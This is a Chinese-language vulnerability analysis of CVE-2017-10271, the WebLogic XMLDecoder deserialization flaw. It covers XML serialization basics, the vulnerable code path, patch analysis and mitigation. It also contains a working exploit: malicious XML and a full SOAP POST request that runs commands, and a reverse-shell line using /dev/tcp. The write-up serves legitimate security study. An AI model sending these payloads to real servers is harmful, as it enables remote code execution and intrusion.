CVE-2017-10271 Weblogic-XMLDecoder

0x01 环境搭建

https://www.penson.top/article/av40

0x02 漏洞分析与复现

简单的XMLEncoder和XMLDecoder

XMLDecoder/XMLEncoder是在JDK1.4版本中添加的XML格式序列化持久性方案,使用XMLEncoder来生成表示JavaBeans组件的(bean)的XML文档,用XMLDecoder读取使用XMLEncoder创建的XML文档获取JavaBeans。
一些简单的Demo如下

XMLEncoder

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import javax.swing.*;    
import java.beans.XMLEncoder;    
import java.io.BufferedOutputStream;    
import java.io.FileOutputStream;    
    
public class XMLEncoderExample {    
    public static void main(String[] args) throws Exception {    
        FileOutputStream file = new FileOutputStream("result.xml");    
        XMLEncoder xmlEncoder = new XMLEncoder(new BufferedOutputStream(file));    
        xmlEncoder.writeObject(new JButton("Hello World"));    
        xmlEncoder.close();    
    }    
}  

序列化了JButton类,得到的XML文档如下

XMLDecoder

代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import java.beans.XMLDecoder;    
import java.io.BufferedInputStream;    
import java.io.FileInputStream;    
    
public class XMLDecoderExample {    
    public static void main(String[] args) throws Exception {    
        FileInputStream file = new FileInputStream("result.xml");    
        XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(file));    
        Object o = xmlDecoder.readObject();    
        System.out.println(o);    
        xmlDecoder.close();    
    }    
}  

使用XMLDecoder读取序列化的XML文档,获取JButton类并打印,输出如下
javax.swing.JButton[,0,0,0x0,invalid,alignmentX=0.0,alignmentY=0.5,border=com.apple.laf.AquaButtonBorder$Dynamic@7e6cbb7a,flags=288,maximumSize=,minimumSize=,preferredSize=,defaultIcon=,disabledIcon=,disabledSelectedIcon=,margin=javax.swing.plaf.InsetsUIResource[top=0,left=2,bottom=0,right=2],paintBorder=true,paintFocus=true,pressedIcon=,rolloverEnabled=false,rolloverIcon=,rolloverSelectedIcon=,selectedIcon=,text=Hello World,defaultCapable=true]

XML基础属性

string标签

hello world字符串的表示方式为<string>Hello World</string>

object标签

通过<object>标签表示对象,class属性置顶具体类(用于调用其内部方法),method属性指定具体方法名称(比如构造函数的方法名为new)
new JButton(“Hello world”),对应的XML文档

1
2
3
<object class="javax.swing.JButton">    
 <string>Hello World</string>    
</object>  

void标签

通过void标签表示函数调用、赋值等操作,method属性置顶具体的方法名称。
JButton b = new JButton();b.setText("Hello world");对应的XML文档

1
2
3
4
5
<object class="javax.swing.JButton">  
    <void method="setText">  
    <string>Hello world</string>  
    </void>  
</object>  

array标签

通过array标签表示数组,class属性指定具体类,内部void标签的index属性表示根据指定数组索引赋值
String[] s = new String[3];s[1] = "Hello world";对应的XML文档

漏洞影响版本

WebLogic存在WLS-WebServices的组件皆会受到影响

漏洞原理

Weblogic的WLS Security组件对外提供WebService服务,其中使用XMLDecoder来解XML格式数据,其存在反序列化漏洞,从而导致RCE。
下面来看一个解析xml导致反序列化命令执行的Demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import java.beans.XMLDecoder;    
import java.io.BufferedInputStream;    
import java.io.FileInputStream;    
    
public class XMLDecoderEvilDemo {    
    public static void main(String[] args) throws Exception {    
        FileInputStream file = new FileInputStream("/Users/f10wers13eicheng/Desktop/JavaSecuritytalk/XMLDemo/result.xml");    
        XMLDecoder xmldecoder = new XMLDecoder(new BufferedInputStream(file));    
        Object o = xmldecoder.readObject();    
        xmldecoder.close();    
    }    
}  

对应的result.xml如下

1
2
3
4
5
6
7
<java version="1.4.0" class="java.beans.XMLDecoder">    
 <void class="java.lang.ProcessBuilder">    
  <array class="java.lang.String" length="1">    
   <void index="0">    
    <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>    
   </void>  </array>  <void method="start"/></void>    
</java>  

使用
java.lang.ProcessBuilder进行代码执行,整个恶意XML反序列化后相当于执行代码:

1
2
3
String[] cmd = new String[1];  
cmd[0] = "Calc";  
new ProcessBuilder(cmd).start();  

漏洞复现与分析

Weblogic本质上是Web Service服务,报文内容类型是SOAPWebService报文,所以/wls-wsat/CoordinatorPortType接口可以接受XML数据的请求包
构造恶意XML文件,

1
2
3
4
5
6
7
<java version="1.4.0" class="java.beans.XMLDecoder">    
 <void class="java.lang.ProcessBuilder">    
  <array class="java.lang.String" length="1">    
   <void index="0">    
    <string>Calc</string>    
   </void>  </array>  <void method="start"/></void>    
</java>  

POST包整体如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /wls-wsat/CoordinatorPortType HTTP/1.1  
Host: 10.211.55.26:7001  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Accept-Encoding: gzip, deflate, br  
Accept-Language: zh-CN,zh;q=0.9  
Connection: close  
Content-Type: text/xml  
Content-Length: 482  
  
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>  
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
<java version="1.4.0" class="java.beans.XMLDecoder">  
<void class="java.lang.ProcessBuilder">  
<array class="java.lang.String" length="1">  
<void index="0">  
<string>Calc</string>  
</void>  
</array>  
<void method="start"/></void>  
</java>  
</work:WorkContext>  
</soapenv:Header>  
<soapenv:Body/>  
</soapenv:Envelope>  

如果是弹shell或者ping命令探测

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>      
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">      
<java version="1.4.0" class="java.beans.XMLDecoder">      
<void class="java.lang.ProcessBuilder">      
<array class="java.lang.String" length="3">      
<void index="0">      
<string>/bin/bash</string>      
</void>      
<void index="1">      
<string>-c</string>      
</void>      
<void index="2">      
<string>ping xxx.com</string>      
</void>      
</array>      
<void method="start"/></void>      
</java>      
</work:WorkContext>      
</soapenv:Header>      
<soapenv:Body/>      
</soapenv:Envelope>  

shell
<string>bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1</string>

漏洞分析

可以看到server/lib/wls-wsat.war/WEB-INF/web.xml文档中存在许多接口,这些接口都可以对SOAP报文进行处理,也就是说,这些接口都存在Weblogic XMLDecoder反序列化漏洞
接着到weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest方法,这个方法对接口数据进行了初步的处理,打断点调试
此处的var1为我们的恶意xml数据,var2获取了xml header,也就是text/xml,并将其转换为列表形式,var3是从var2中获取WorkAreaConstants.WORK_AREA_HEADER得到的,最后将var3放入readHeaderOld()方法进行处理。
跟进,在构造出var6之前,本质上都是在做赋值的工作,var4获取了恶意XML数据里面的内容部分。关于var6的构造,我们需要跟进WorkContextXmlInputAdapter类的构造函数
可以看到本质上是new了一个XMLDecoder类,并将var4的内容(XML数据里的内容)赋了进去。继续往下,跟进receive()方法
receive()方法生成了处理XMLDecoder类的处理器,进行下一步receiveRequest()的处理,在跟进
在跟进readEntry()方法,readEntry()方法调用了readUTF()方法,跟进readUTF()方法,上面一直在做层层封装的工作
readUTF()方法中,调用了readObject方法,对XML数据进行反序列化解析。

0x03 漏洞修复

CVE-2017-3506 补丁分析

这里补丁在WorkContextXmlInputAdapter中添加了validate验证,限制了object标签,从而限制通过XML来构造类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
private void validate(InputStream is) {  
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();  
      try {  
         SAXParser parser = factory.newSAXParser();  
         parser.parse(is, new DefaultHandler() {  
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {  
               if(qName.equalsIgnoreCase("object")) {  
                  throw new IllegalStateException("Invalid context type: object");  
               }  
            }  
         });  
      } catch (ParserConfigurationException var5) {  
         throw new IllegalStateException("Parser Exception", var5);  
      } catch (SAXException var6) {  
         throw new IllegalStateException("Parser Exception", var6);  
      } catch (IOException var7) {  
         throw new IllegalStateException("Parser Exception", var7);  
      }  
   }  

绕过方法很简单,将object修改成void,也就是最开始漏洞复现exp

CVE-2017-10271补丁分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void validate(InputStream is) {  
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();  
   try {  
      SAXParser parser = factory.newSAXParser();  
      parser.parse(is, new DefaultHandler() {  
         private int overallarraylength = 0;  
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {  
            if(qName.equalsIgnoreCase("object")) {  
               throw new IllegalStateException("Invalid element qName:object");  
            } else if(qName.equalsIgnoreCase("new")) {  
               throw new IllegalStateException("Invalid element qName:new");  
            } else if(qName.equalsIgnoreCase("method")) {  
               throw new IllegalStateException("Invalid element qName:method");  
            } else {  
               if(qName.equalsIgnoreCase("void")) {  
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {  
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {  
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));  
                     }  
                  }  
               }  
               if(qName.equalsIgnoreCase("array")) {  
                  String var9 = attributes.getValue("class");  
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {  
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");  
                  }  

依然是进行黑名单判断
临时解决方案
根据业务所有需求,考虑是否删除WLS-WebServices组件,包含此组件路径为:

1
2
3
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat   
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war   
Middleware/wlserver_10.3/server/lib/wls-wsat.war  

以上路径都在Weblogic安装处。删除以上文件之后,需重启Weblogic。确认http://weblogic_ip/wls-wsat/ 是否为 404 页面。

0%